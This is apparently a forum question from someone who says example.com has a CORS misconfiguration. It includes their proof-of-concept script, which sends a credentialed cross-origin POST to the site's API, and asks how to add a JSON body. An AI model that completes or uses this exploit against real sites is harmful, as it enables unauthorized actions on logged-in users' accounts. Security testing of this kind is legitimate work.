Is it possible to send a custom POST CORS request with json data?
I found that the website example.com
is vulnerable to CORS and it’s accepting my origin header:
https://mywebsite.com
, however the request is a POST one and if i try without any post data i get: {"errorCode":"invalid","message":"Invalid json body","statusCode":400}
I was wondering if it’s possible to send cors requests containing json data. If it’s possible how should i edit my proof of concept code?
At the moment i’m using the following:
<script> var createCORSRequest = function(method, url) { var xhr = new XMLHttpRequest(); if ("withCredentials" in xhr) { // Most browsers. xhr.open(method, url, true); } else if (typeof XDomainRequest != "undefined") { // IE8 & IE9 xhr = new XDomainRequest(); xhr.open(method, url); } else { // CORS not supported. xhr = null; } return xhr; }; var url = 'https://example.com/api/v1/post'; var method = 'POST'; var xhr = createCORSRequest(method, url); xhr.onload = function() { // Success code goes here. }; xhr.onerror = function() { // Error code goes here. }; xhr.withCredentials = true; xhr.send(); </script>
But i’ll need to add {"id":"test","name":"test"}
as POST json data to my PoC to make it work. How could i do that?